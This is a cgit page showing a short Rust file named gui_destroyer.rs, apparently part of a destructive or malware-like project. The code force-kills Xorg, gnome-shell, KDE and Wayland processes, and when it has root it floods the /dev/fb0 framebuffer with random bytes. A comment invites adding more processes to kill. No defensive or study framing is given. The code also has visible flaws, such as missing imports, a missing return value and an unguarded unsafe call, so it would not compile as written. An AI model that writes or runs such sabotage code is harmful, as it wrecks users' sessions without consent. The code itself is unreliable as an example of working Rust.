summaryrefslogtreecommitdiff
path: root/src/non_critical/gui_destroyer.rs
blob: a7d1c75d4b246a440d1155d5d9f8046b8f869665 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#![no_main]
use std::process; 
use std::io::Error;  
use rand::{Rng, thread_rng};

extern "C" { 
    fn check_root() -> i32;
}

// Pfff its to light for this project, but why not 
fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> {
    std::process::Command::new("pkill")
    .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"]) 
    //TODO: Add more process names of the processes you want to kill
    .spawn().unwrap();

    if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){
        let mut rng = rand::thread_rng();
        for _ in 0..1000 {
            let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect();
            let _ = fb.write(&garbage);
        }
    }
}


fn init() -> Result<(), std::io::Error> {
    if check_root() == 0 {
        artifacts_and_kill(true)
    } else {
        artifacts_and_kill(false)
    }
}